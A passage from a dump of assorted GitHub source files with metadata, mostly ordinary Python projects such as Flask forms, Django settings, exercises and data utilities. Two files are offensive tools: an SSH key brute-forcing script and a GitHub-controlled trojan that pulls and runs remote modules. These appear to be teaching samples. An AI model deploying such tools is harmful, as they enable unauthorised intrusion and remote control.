] | facebook-github-bot@users.noreply.github.com |
62b66a05dc8aa5caa12aef9489257a5f1cadcf17 | f74a2f1918a05bc0138e873c8b5eb4cd71271841 | /myproject/forms.py | 81377bc7dd519bada602c33eef43d658535bd55c | [] | no_license | pratyu2364/Splitwisely | e31874ec548d4a373940c83aeb75a2dff10b8691 | e9c93592d722b95ca234802965666284df0680ee | refs/heads/main | 2023-07-05T05:08:10.359224 | 2021-08-26T14:50:12 | 2021-08-26T14:50:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,603 | py | from flask_wtf import FlaskForm
from wtforms import StringField,PasswordField,SubmitField,IntegerField
from wtforms.validators import DataRequired,Email,EqualTo,Length
from wtforms import ValidationError
from flask_login import current_user
from myproject.models import User
#after Registration user must be able to log... | [
"noreply@github.com"
] | pratyu2364.noreply@github.com |
6e4883923ec5fb815e0167591e97e69a1cf130ba | 33c2d74877efa983accde279a31d2841f5a8d185 | /lists/index.py | 7e76f499e05f0b2a4bf05b3242b74f0adf5271af | [] | no_license | venkatsgithub1/Udacity_Intro_to_computer_science | 9ad9965b2bb536b335983d69aab289e5d6bd3304 | cfafeaf4455155ac91573aab2eed61892b24e520 | refs/heads/master | 2021-01-23T22:30:03.581923 | 2017-03-12T06:07:42 | 2017-03-12T06:07:42 | 83,582,113 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 205 | py | list1=[1,2,3]
#below line prints out 1, 1 is the index in list list1 where value 2 is present.
print (list1.index(2))
#below line gives out error since 5 is not present in the list.
print (list1.index(5))
| [
"noreply@github.com"
] | venkatsgithub1.noreply@github.com |
763cb3ca80ef8fbf94b9a9dd217d51152ae230f2 | 683828e7321b8c0c775c7da0d60a333caa47873c | /mywebsite/settings.py | 78df12fe8215b5618f12b78025d8f069dbe58791 | [] | no_license | nqiu/mywebsite | 1d85bb0174af54d438b391ea7550bf3e52d4ea8b | a7485704d7bd1f7af2bcc894c1044a3a07fecc0c | refs/heads/master | 2021-01-10T05:49:11.568988 | 2016-01-13T02:32:05 | 2016-01-13T02:32:05 | 49,543,763 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,210 | py | """
Django settings for mywebsite project.
Generated by 'django-admin startproject' using Django 1.9.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
... | [
"867217317@qq.com"
] | 867217317@qq.com |
037da2e8e79ccf29520c3c52f08d9ae1c51bbb6b | 734badcd6a79d5fd265e291192c39049ee582340 | /python/zp/primjer_09.07.py | 4528f9d2b2577830787f4f2ac7bd2c6b248378cc | [
"MIT"
] | permissive | jasarsoft/examples | 4411b819e1e066f8cb7b192e02332859aa8b86fe | d6fddfcb8c50c31fbfe170a3edd2b6c07890f13e | refs/heads/master | 2021-03-22T00:23:48.254571 | 2019-01-17T23:13:14 | 2019-01-17T23:13:14 | 101,574,726 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 430 | py | #varargs parametri
def total(inicijal = 5, *brojevi, **kljucnerijeci):
brojanje = inicijal
print(inicijal)
for broj in brojevi:
brojanje += broj
print("broj = ", broj)
print("brojanje = ", brojanje)
for rec in kljucnerijeci:
brojanje +=kljucnerijeci[rec]
print("k... | [
"edinjasar14@gmail.com"
] | edinjasar14@gmail.com |
b98236ad34d200143fb4b568acf1a27b03dcc1ff | 4b476da7a780526512a42f7f62ef955e89361345 | /CW1-MapReduce/task6/mapper6.py | f22fa60c2cafedaa7060b432f64bc5b8961ca8e4 | [] | no_license | karoleks4/MapReduce-Hadoop-Exercises | bb072536c85ca696ee08d8405f30e0d60f7df250 | 1298ef6333f9c8532cda97b7dcd172d13b3128cb | refs/heads/master | 2020-03-29T02:20:42.183078 | 2018-09-19T10:26:38 | 2018-09-19T10:26:38 | 149,431,702 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 152 | py | #!/usr/bin/python
import sys
for line in sys.stdin:
line = line.strip().split()
print('{0} {1} {2}\t{3}'.format(line[0], line[1], line[2], line[4])) | [
"s1448320@sms.ed.ac.uk"
] | s1448320@sms.ed.ac.uk |
d8fc9aa6b18fb2f4bc50363b8a36ca7d158c1c44 | 08b998966c06dc50cd9372fe3e15d6599bcafbfb | /dotfiles/.ipython/profile_default/startup/10-pager.py | 57da300105eaebfc2a84c667499aeb36a6ca7a1d | [
"MIT"
] | permissive | chbrown/config | 77661fc8e485d5a8992114fd11e7eae383698b9b | ec8deb0bf756ff62f5599cb239c8ac11084d3d16 | refs/heads/master | 2021-06-06T10:13:24.401647 | 2021-02-22T15:03:54 | 2021-02-22T15:03:54 | 1,827,574 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 301 | py | from __future__ import print_function
# IPython.core.hooks.show_in_pager doesn't cut it
import IPython.core.page
def page_printer(data, start=0, screen_lines=0, pager_cmd=None):
if isinstance(data, dict):
data = data['text/plain']
print(data)
IPython.core.page.page = page_printer
| [
"io@henrian.com"
] | io@henrian.com |
4dd0d222ec273cb9b09cc04b08fc9c26689d7e47 | 73f2acd50df85aaf7fd35864d38cf709e4dcdf2c | /oop.py | 4d8fc66a23ce394746ed6e4f7cc3e7ad0ceac3ce | [
"MIT"
] | permissive | PacktPublishing/Learn-Python-in-3-Hours- | 8cdfa0ace86a197fe09680799b44168a79c78752 | 2f7c2cca7cc612bd5f2290b2af93db514e50b047 | refs/heads/master | 2021-06-08T14:20:31.041189 | 2021-01-14T15:04:23 | 2021-01-14T15:04:23 | 123,421,832 | 8 | 3 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | class Chess:
def __init__(self, player_one, player_two):
self.player_one = player_one
self.player_two = player_two
self.winner = None
def checkmate(self, winner):
self.winner = winner
return self.winner
@staticmethod
def print_game_header():
print('GAME... | [
"sharanjeetk@packtpub.com"
] | sharanjeetk@packtpub.com |
ecd670f6035d91877ece5860650b515ff8b1bd99 | 4265f97771fe9ea316eaa2402075cde92e183ac5 | /euler-python/014.py | 84c7c7414073e92a607ad22609ca9c2a34cd6bc1 | [] | no_license | heinzelotto/project-euler-clojurepythonracket | 24bddcfa3ebc8d93f29f5f732a6b46763b057eba | d4a647f0637530c0ff2d283b7af03057c520d0cf | refs/heads/master | 2021-01-19T19:52:35.510501 | 2017-03-27T00:08:28 | 2017-03-27T00:08:28 | 83,729,119 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | def memoize(f):
memo = {}
def helper(x):
if x not in memo:
memo[x] = f(x)
return memo[x]
return helper
@memoize
def collatz(k):
#print("{}\n".format(k))
if (k == 1):
return 1
elif (k % 2 == 1):
return 1+collatz(3*k+1)
else:
ret... | [
"felix.monninger@gmail.com"
] | felix.monninger@gmail.com |
cd208bb675c06b6242fcfaf225bcc6382c16e642 | fff656ae1c39d02f221710272551edfeaef57e8a | /binary_tree.py | 96922422c84d8ecfdb31fc75f513325d2fb94e5a | [] | no_license | ShawHsing/Algorithms-and-Data-Structures | 54261122e9c6d9c552d36148863fb248b4537158 | d624fbbee6d17cb05eb72a3ee346cd33bb6d6b5c | refs/heads/master | 2021-05-10T10:50:14.666214 | 2018-02-11T07:27:00 | 2018-02-11T07:27:00 | 118,395,505 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 861 | py | def binary_tree(r):
return [r, [], []]
def insert_left(root, new_branch):
t = root.pop(1)
if len(t) > 1:
root.insert(1, [new_branch, t, []])
else:
root.insert(1, [new_branch, [], []])
return root
def insert_right(root, new_branch):
t = root.pop(2)
if len(t) > 1:
roo... | [
"cqyyxiaoxincooi@gmail.com"
] | cqyyxiaoxincooi@gmail.com |
ad4ce1eaa5ae202422239605f4675c436c4dc867 | c58bfad47103f35702eb4917af60447f4b593483 | /lib/massmailer/accountgen/163/generator.py | c692631a10bb13a8bff1cf44a6bb98999c8a21ff | [] | no_license | cironepa/MassMailer | 14b769fab87d392e1e8ec387b265d857a437657b | 369b73f3fcb19eeeaddbaa47000c3e28de9c821c | refs/heads/master | 2021-12-03T11:16:18.813908 | 2014-05-22T15:43:18 | 2014-05-22T15:43:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 124 | py | __author__ = 'zhoubangtao'
from massmailer.accountgen.account_generator import AccountGenerator
class Generator():
pass
| [
"zhoubangtao@163.com"
] | zhoubangtao@163.com |
7d37a037f5e68b510438a62a30a7ec35ae547019 | 8426e1bc5dc7041f4cf545ce14773abfc60599d5 | /python/armstrong-numbers/armstrong_numbers.py | bf2cf3e3edbedf1fc6ba66c019f9dab30d1a2678 | [] | no_license | Pujith-M/Exercism-Solutions | 520c959e4b84a68905315bd73b4cc336f937d7c2 | 89ff8d543d76834e44ea89bc34fca97b68e14fe9 | refs/heads/master | 2021-09-08T00:50:38.510200 | 2018-03-04T18:27:23 | 2018-03-04T18:27:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 135 | py | def is_armstrong(number):
return number == reduce(lambda x, y: y ** len(str(number)) + x, [0] + map(int,list(str(number)))):
| [
"pujith.m95@gmail.com"
] | pujith.m95@gmail.com |
d051ac840dd580abefff5f521a92337bda35a2f2 | 961e1882fbc942af188c724da6c4209e8080270b | /main.py | 2d6ee562ef52e6ee4e4447a06d4e771190db67b1 | [
"MIT"
] | permissive | lasithadilshan/myFantasticPythonIDE | 34d72c7f3d89606a45f38bb76b7b36fdc4cb3014 | 2aae0750272e6ac3c6ba02dc1883c49006b8b7fe | refs/heads/master | 2023-05-07T16:52:45.805112 | 2021-05-31T17:07:24 | 2021-05-31T17:07:24 | 372,568,721 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,783 | py | from tkinter import *
from tkinter.filedialog import asksaveasfilename, askopenfilename
import subprocess
compiler = Tk()
compiler.title('My Fantastic Python IDE')
file_path = ''
def set_file_path(path):
global file_path
file_path = path
def open_file():
path = askopenfilename(filetypes=[('Python Files... | [
"37534587+lasithadilshan@users.noreply.github.com"
] | 37534587+lasithadilshan@users.noreply.github.com |
4ba5ee26b6542dc7c72c0baac9c4df66604e8c89 | 313fd16e8707fd39b9c8d7ed220beb29b3ede9c8 | /ash_project/ash_app/migrations/0001_initial.py | f72fa246e5a7582065ecacb5deeb393e5c9b5c49 | [] | no_license | sriram182001/django-ashwin | e3a55b3770f15cb1bd2669d224b9a4d52b7185fb | 9a934f9e12cce4dd543fea3b010978a09dc6007a | refs/heads/master | 2022-12-04T14:17:41.936433 | 2020-07-10T12:46:48 | 2020-07-10T12:46:48 | 278,625,367 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 499 | py | # Generated by Django 3.0.3 on 2020-07-10 09:50
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='UserPhoto',
fields=[
('id', models.AutoFiel... | [
"jjsriram09@gmail.com"
] | jjsriram09@gmail.com |
3ea5e8c2dbe5ce53d591ab42f36cb361afb49c3c | 3f3f797d5472bc3e78c16036017b03ae5f502c91 | /git_trojan.py | f3acf95280fbf1f405bf5e4f80d1e3bc085d1957 | [] | no_license | snowkingbewin/trotest | 48ab15a3c105a986e964fd157f131f26bd3226fb | 6c12508443be111c5affa79439849f5bbb8be36c | refs/heads/master | 2021-05-15T07:33:36.306917 | 2017-11-11T16:45:14 | 2017-11-11T16:45:14 | 110,333,798 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,541 | py | import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()
def connect_to_git... | [
"1164984406@qq.com"
] | 1164984406@qq.com |
f023b96d1bcc10da7a3a00e98c2a26e6526415ec | b6e7e7c0a68621c613898534f20de96c459fd0a9 | /client/app.py | 9999fc5bcf65ae1e09cde1f359f971321fe32177 | [] | no_license | jwoglom/zoom-tools | 227db0974c7ac239b9ea51b6e95222c765025d66 | 951b20970a990f3b293c593d3969c92550120913 | refs/heads/main | 2023-03-07T18:00:02.646547 | 2021-02-16T21:33:16 | 2021-02-16T21:33:16 | 339,311,304 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,877 | py | #!/usr/bin/env python3
from flask import Flask, Response, request, abort
import random
import string
import subprocess
import os
app = Flask(__name__)
scripts_dir = os.path.join(os.path.dirname(__file__), "../scripts")
token = os.environ.get("TOKEN", "".join(random.choice(string.ascii_letters) for i in range(24)))... | [
"j@wogloms.net"
] | j@wogloms.net |
4868d1dff9cc41c8268b865ff7b8ec0d5e5143ac | be2efcca89229247bf0122e2639fe1ff969f152a | /models/vgg.py | 80d3c1b7c057fa345dd9fb206e9f3a2c809f760e | [
"MIT"
] | permissive | hsilva664/amc | ff026a6649227f0ee8892248d28bf11a9c47e192 | 801ade50c73068aac2e8f346ef731816ca3683e3 | refs/heads/master | 2022-12-02T19:19:39.417294 | 2020-08-15T15:16:48 | 2020-08-15T15:16:48 | 287,330,024 | 0 | 0 | MIT | 2020-08-13T16:34:11 | 2020-08-13T16:34:10 | null | UTF-8 | Python | false | false | 3,641 | py | import torch.nn as nn
import math
from torch.nn import init
import torch.nn.functional as F
class VGG(nn.Module):
def __init__(self):
super(VGG, self).__init__()
in_channels = 3
Conv = nn.Conv2d
Linear = nn.Linear
self.pool = nn.MaxPool2d(2)
self.a... | [
"hsilva664"
] | hsilva664 |
1489caa6ecc1418fcca6f59a6452f6045f77b738 | e0980f704a573894350e285f66f4cf390837238e | /.history/streams/blocks_20201019093841.py | 6cccc214eeeb11cc10ee902cc92078eda7e0e6c4 | [] | no_license | rucpata/WagtailWebsite | 28008474ec779d12ef43bceb61827168274a8b61 | 5aa44f51592f49c9a708fc5515ad877c6a29dfd9 | refs/heads/main | 2023-02-09T15:30:02.133415 | 2021-01-05T14:55:45 | 2021-01-05T14:55:45 | 303,961,094 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 93 | py | from wagtail.core import blocks
class TitleBlock(blocks.StructBlock):
text = blocks.Char | [
"rucinska.patrycja@gmail.com"
] | rucinska.patrycja@gmail.com |
214aa11f83be4362189f74450e66ee6346751255 | 02774702ffa5bac8f1e19322254b0f96e7ae2e30 | /doc/conf.py | 5ba02964b2fa0e29fac03296e845e7eeed025093 | [
"BSD-3-Clause"
] | permissive | hiperiondev/ufsm | f10ae78d635644f9b00286dd78e8ade944845a3d | 1b8a51dea78438107523850705f70b41c27100f3 | refs/heads/master | 2023-05-26T14:53:37.733721 | 2023-02-07T20:12:48 | 2023-02-07T20:12:48 | 261,609,005 | 0 | 0 | NOASSERTION | 2020-05-05T23:55:37 | 2020-05-05T23:55:36 | null | UTF-8 | Python | false | false | 9,803 | py | # -*- coding: utf-8 -*-
import sys
import os
import shlex
import sphinx_rtd_theme
import alabaster
import subprocess
# sys.path.append("../python")
# import bpak
read_the_docs_build = os.environ.get('READTHEDOCS', None) == 'True'
if read_the_docs_build:
subprocess.call('doxygen doxygen.cfg', shell=True)
# If ex... | [
"jonpe960@gmail.com"
] | jonpe960@gmail.com |
0ad55bdb1eebab0cc2495a270f04bdfce36b26e9 | ec458edd64414566c119717c46fd00f6725ea6b0 | /CH2/3-bruteKey.py | 920875cb71cf000a6f7274f52e698c86e931d9e1 | [] | no_license | porterhau5/violent-python | ad235b0d7eab373649dd390d37193174518a81f2 | f33dba0f48002fe76615ed70b71e4e3bc7344956 | refs/heads/master | 2016-09-05T12:45:37.008027 | 2014-02-27T17:52:37 | 2014-02-27T17:52:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,376 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user,host,keyfile,release):
global Stop
global Fails
try:
perm_denied = 'Permiss... | [
"porter.thomas.w@gmail.com"
] | porter.thomas.w@gmail.com |
1d64087b50a7754102a8f120289480550b469a86 | 41bd7d939207e94c8f6956f02b779f5084b23bf4 | /archives/admin.py | 8604e9655b6c0429d898e44ebeaf1a4f5c81a761 | [] | no_license | wd5/acanthes | 724b81c799ab04344c66691a054b2a555b3e3d77 | 8c4fd011e60e9869396f1a93b385133ebff74238 | refs/heads/master | 2021-01-17T12:13:35.216661 | 2012-06-13T13:05:06 | 2012-06-13T13:05:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,171 | py | from django.contrib import admin
from archives.models import *
class IntervenantAudioInline(admin.TabularInline):
model = IntervenantAudio
extra = 1
class AudioAdmin(admin.ModelAdmin):
inlines = (IntervenantAudioInline,)
list_display = ('id','subtitle', 'annee', 'genre', 'url_ecoute_intranet_adresse' ... | [
"samuel.goldszmidt@gmail.com"
] | samuel.goldszmidt@gmail.com |
4214ef52a286e542963069c28dd6fc6baa4fb451 | a01aa15daf3f625420a0ab1bee18674361dee717 | /code/editData.py | c8f2189585959ddb98bd31f94e8d626c14256fae | [] | no_license | sirinda-p/sna_utcc | f6ddf92a2ce81ec7a9f69f8da0deafdf2dcc1fc2 | 39276ebd838a9d2d6ee209a4a50fe25e721473a3 | refs/heads/master | 2020-04-03T15:29:38.820434 | 2016-03-25T09:40:09 | 2016-03-25T09:40:09 | 39,806,492 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 826 | py | import os
from igraph import *
def mark():
oldpath = "/home/amm/Desktop/sna-git/data/"
newpath = oldpath+"mark_unsurveyed/"
error_list = []
fname_list = ["ICT55_friend.gml","ICT55_bf.gml","ICT55_study.gml"]
for fname in fname_list:
#for fname in os.listdir(oldpath):
## get source nodes
f_r = open(oldpat... | [
"sirinda111@gmail.com"
] | sirinda111@gmail.com |
f457a785953ecdf207ae402a089a175cd1f04eb3 | fa7c4eb33a1bf329469f67eb1fe13ae8e8d17f11 | /my_env/bin/tox | d1ea66b4d8ef1f0ca669c0ce52de9148956084e3 | [] | no_license | richa696/rich | cea39c0266fc61365388d7248d632d965d8ecbee | 168768bd80fb5941cc0c6232b9b38d37a675d0e2 | refs/heads/master | 2023-04-05T23:06:34.402323 | 2021-04-29T18:57:05 | 2021-04-29T18:57:05 | 362,917,333 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 236 | #!/home/richa/ProjectFolder/my_env/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from tox import cmdline
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(cmdline())
| [
"tiwariricha696@gmail.com"
] | tiwariricha696@gmail.com | |
38a28d7f0257148f8e867dcfd6350f0e6276dd14 | f7dd190a665a4966db33dcc1cc461dd060ca5946 | /venv/Lib/site-packages/graphene/types/tests/test_schema.py | 88af101988356209c9722d213bfa5137344960fa | [] | no_license | Darwin939/macmeharder_back | 2cc35e2e8b39a82c8ce201e63d9f6a9954a04463 | 8fc078333a746ac7f65497e155c58415252b2d33 | refs/heads/main | 2023-02-28T12:01:23.237320 | 2021-02-02T17:37:33 | 2021-02-02T17:37:33 | 328,173,062 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,022 | py | import pytest
from ..field import Field
from ..objecttype import ObjectType
from ..scalars import String
from ..schema import Schema
class MyOtherType(ObjectType):
field = String()
class Query(ObjectType):
inner = Field(MyOtherType)
def test_schema():
schema = Schema(Query)
assert schema.get_quer... | [
"51247000+Darwin939@users.noreply.github.com"
] | 51247000+Darwin939@users.noreply.github.com |
3fb37feddd63cc8a4d7f068c61376c3140e247f1 | 033dcdc8c51d41de1d8a48e042dff392d0215f7f | /django_eventstream/eventrequest.py | 6a9de59e80a9208d451c74ebf5c2a146153334da | [
"MIT"
] | permissive | paolodina/django-eventstream | a726b70122800aabe7674a4419e3545e81ae82ec | d8e90c121704e727becdb37fae33cf610898ec2e | refs/heads/master | 2022-11-06T17:43:22.338747 | 2020-06-16T08:24:09 | 2020-06-16T08:24:09 | 272,642,690 | 0 | 0 | MIT | 2020-06-16T07:43:41 | 2020-06-16T07:43:40 | null | UTF-8 | Python | false | false | 3,049 | py | import time
import jwt
import six
from django.contrib.auth import get_user_model
from django.conf import settings
from .utils import parse_last_event_id, get_channelmanager
try:
from urllib import unquote
except ImportError:
from urllib.parse import unquote
class EventRequest(object):
class Error(ValueError):
pa... | [
"justin@karneges.com"
] | justin@karneges.com |
d0844357d421f9aad1b024b3426a21f65f26b9a8 | 66f20f488ef479a9bad1c379ad33f29522a0cacb | /main.py | 71eaf75adfbb6e4cdbdb09457fc0da5527924b72 | [] | no_license | daniele21/NLP_genre_detection | b221b1f5755b7b9a5b244bacb8ba32a2f8e28f17 | 8ece41c38eea67d61f5c014d06f759434d698ad3 | refs/heads/master | 2023-04-10T17:01:12.346117 | 2021-04-21T13:45:29 | 2021-04-21T13:45:29 | 333,126,644 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,719 | py | from argparse import ArgumentParser
import logging
from scripts.pipeline.dataset_pipeline import generate_training_dataset
from scripts.pipeline.training_pipeline import training_pipeline
from scripts.training.model_training import train_model
logger = logging.getLogger(__name__)
def main(args):
params = {}
... | [
"danielemoltisanti@live.it"
] | danielemoltisanti@live.it |
f600154069f115ceac5a31461d0b5aa19ee162f8 | e3b4e076a301cf2cbb78014dfa4f04e1bb368e15 | /treedata.py | d3e0f330e88094e6b266a062a2f6eea8532340f1 | [] | no_license | jzhao20/nlp_assignment_3 | 77e2cf6e0df2b758a16ac71b0ef18a722f5afb79 | d067f89605c0b04138a90e41e2defa80a3a1e1f2 | refs/heads/main | 2023-08-07T18:13:18.869462 | 2021-09-30T17:26:56 | 2021-09-30T17:26:56 | 411,349,835 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,384 | py | # posdata.py
from typing import List
import re
class TaggedToken:
"""
Wrapper for a token paired with a part-of-speech
"""
def __init__(self, word: str, tag: str):
self.word = word
self.tag = tag
def __repr__(self):
return "(%s, %s)" % (self.word, self.tag)
def __str... | [
"jzhaotxus@gmail.com"
] | jzhaotxus@gmail.com |
33af5581f9f4a7828383e77b5e0c423a4f3bed87 | 972dab2bb13ea53395683c45492e035d8c46c94b | /apps/proyectos/urls.py | c9ca782b6538537ab4d5e48e6eaa150698521378 | [] | no_license | WilfredLemus/BibliotecaCodigo | 421e15b3ceca79b575d6c92538b2795706516a79 | cc6f9406eeddb950faa8ad76c59eb01a3220835a | refs/heads/master | 2021-05-27T17:58:30.641169 | 2014-01-27T01:58:02 | 2014-01-27T01:58:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 529 | py | from django.conf.urls import patterns, url
urlpatterns = patterns ('apps.proyectos.views',
url(r'^proyectos/$','view_proyectos', name = 'proyectos'),
url(r'^add/proyecto/$','view_agregar_proyecto', name = 'agregar_proyecto'),
url(r'^proyecto/editar/(?P<id_proyecto>.*)/$','editar_proyecto_view',name='editar_proyecto... | [
"debian789@gmail.com"
] | debian789@gmail.com |
3175238714d0bced9a25c0a8ef31ca52742ce751 | 0d85ca475e5aba14eddf1246c0baff66e1f55a98 | /falcon-query/soft/open-falcon/portal/env/bin/easy_install | 3b8f471024acc74e998c22afd47f2eb619bb55cf | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | xinghui-hou/docker | 2a71a40efee0b4659924ada24b46efb3cd1e67ee | dccd48383533b4d47f1ac42005df007a3b8c6e53 | refs/heads/master | 2020-04-18T04:59:58.952180 | 2017-11-30T07:13:40 | 2017-11-30T07:13:40 | 67,863,802 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 349 | #!/usr/local/open-falcon/portal/env/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==0.9.8','console_scripts','easy_install'
__requires__ = 'setuptools==0.9.8'
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.exit(
load_entry_point('setuptools==0.9.8', 'console_scrip... | [
"hxh-x@163.com"
] | hxh-x@163.com | |
fa935631baa4e8f18f2cf046d8623296ab6d84d1 | 31442711c0efd06805349594d56519ad2d5e144b | /bucketUtilNew.py | 119f9622a99bab12fdb8cd79552c63d5cf84d746 | [] | no_license | 1989jpj/s3migration | 3d24975291b41c1a4945642b1b5883799a46cf42 | a7c772593d335e8f75dca570e668dfb4aa6e1c03 | refs/heads/master | 2021-01-18T14:29:42.851575 | 2016-06-17T18:54:05 | 2016-06-17T18:54:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 68,352 | py | import splunk.clilib.cli_common
# Import with "from" to minimize changes to splunkDBPaths().
from splunk.clilib.info_gather import normalize_path
#from info_gather import normalize_path
import argparse, copy, hashlib, json, os, re, shutil, subprocess, sys, time
import collections, glob, hmac, logging, operator, request... | [
"esix@splunk.com"
] | esix@splunk.com |
8d74b1e0bb854a72bb32c37fb556c7fe405b41fd | 36dfa26234b46cb8e2fdeb680fc4b9ea20d594ba | /purelung/models/suppression/__init__.py | 6bb65e6a8b08fe7b607f353551d47832d0b11f29 | [
"MIT"
] | permissive | DanisAlukaev/Purelung | 862b80071ce13f44a4caab5f297fa2679d6aab66 | af7d403460ad20327488cd04af434377c3c30f9b | refs/heads/master | 2023-06-06T22:53:22.726745 | 2020-08-03T19:56:41 | 2020-08-03T19:56:41 | 284,793,444 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | from purelung.models.suppression.bone_suppression_pt import load_bone_model_pytorch, get_suppressed_image | [
"d.alukaev@innopolis.university"
] | d.alukaev@innopolis.university |
87b4c9c295b5f43b508c4f5062977f0f628852e2 | 4a84ef702269eed582b04dbed979a24607579f52 | /src/mapnik/tests/python_tests/sqlite_rtree_test.py | 2d28adac0266d3439eb51f6e9cc4d9c5da04e236 | [] | no_license | olibook/pymapnik2 | 9ef766d759afc3efeccd988bfb7239bd73cac01e | c409fa150e203ff85e14b8fd40063267a6802e1c | refs/heads/master | 2016-08-04T11:51:35.987664 | 2013-02-18T16:01:10 | 2013-02-18T16:01:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,302 | py | #!/usr/bin/env python
from nose.tools import *
from mapnik.tests.python_tests.utilities import execution_path
from Queue import Queue
import threading
import os, mapnik
import sqlite3
def setup():
# All of the paths used are relative, if we run the tests
# from another directory we need to chdir()
os.chd... | [
"kiorky@cryptelium.net"
] | kiorky@cryptelium.net |
bc6f95608de9d9cb30bf5bd3e63638ab7179fcff | c5463565ac436c8bfd430c32f57146669b533850 | /3.StockWithRegex/getStockOther.py | 3afd2371c7c9fe917850954ed20188a34c9a19a5 | [] | no_license | AndyDaly90/PythonScraping | 471a2fd64fd5b12864eb3a9896abc9399bfa3843 | 12e8b71c3acb6d94c033b2fffbfa944fc2c317cd | refs/heads/master | 2016-09-01T12:52:00.651607 | 2016-02-02T16:00:06 | 2016-02-02T16:00:06 | 50,930,902 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 286 | py | from __future__ import print_function
import urllib
import re
htmlFile = urllib.urlopen("https://www.google.com/finance?q=AAPL")
htmlText = htmlFile.read()
regex = '<span id="ref_[^.]*_l">(.+?)</span>'
pattern = re.compile(regex)
result = re.findall(pattern, htmlText)
print(result)
| [
"andrew.daly@students.ittralee.ie"
] | andrew.daly@students.ittralee.ie |
82f2cb74ac91d8562d6bf1261c3940d19915f59e | 5e6ff89fcaec0f93da551e0c2237f272c8967064 | /Anudip/Anudip/asgi.py | 0f481d1a1ddb24c71d86298e6017f89a2f1d0ffe | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | IndiaCFG3/team-63 | 10478c72adba453832571239c3ec6c3573ff6ac9 | a4cfbc96b977faade9c185ac5de7754e6fef21fd | refs/heads/master | 2023-02-09T16:28:49.196488 | 2021-01-06T15:39:19 | 2021-01-06T15:39:19 | 287,280,706 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | """
ASGI config for Anudip project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTIN... | [
"jitensidhpura2000@gmail.com"
] | jitensidhpura2000@gmail.com |
8ac469d250354ff770e368d0dc803cc543d5ac0d | c42908fce35bc2afb10abd924cfd13d5fa286205 | /html2vec/base/io/basefilehandlers.py | 30f19a526fdb753f0bc6b1578280d70ce6dcfae6 | [
"MIT"
] | permissive | dpritsos/html2vec | b3866f05e7e1c1cb61f40b8f038c1a05a89a9faa | be5629d6dc2665891472c5795c191286f0de31e7 | refs/heads/master | 2023-05-13T08:30:24.485797 | 2021-06-05T07:29:06 | 2021-06-05T07:29:06 | 1,896,404 | 8 | 0 | null | 2018-10-20T13:10:43 | 2011-06-14T19:54:52 | Python | UTF-8 | Python | false | false | 3,689 | py | #
# Module: Base File Handlers
#
# Author: Dimitiros Pritsos
#
# License: BSD Style
#
# Last update: Please refer to the GIT tracking
#
""" html2vect.base.io.basefilehandlers: submodule of `html2vect` module defines the class
BasePathHandler and BaseFileHandler """
import codecs
import os
def copyfi... | [
"dpritsos@extremepro.gr"
] | dpritsos@extremepro.gr |
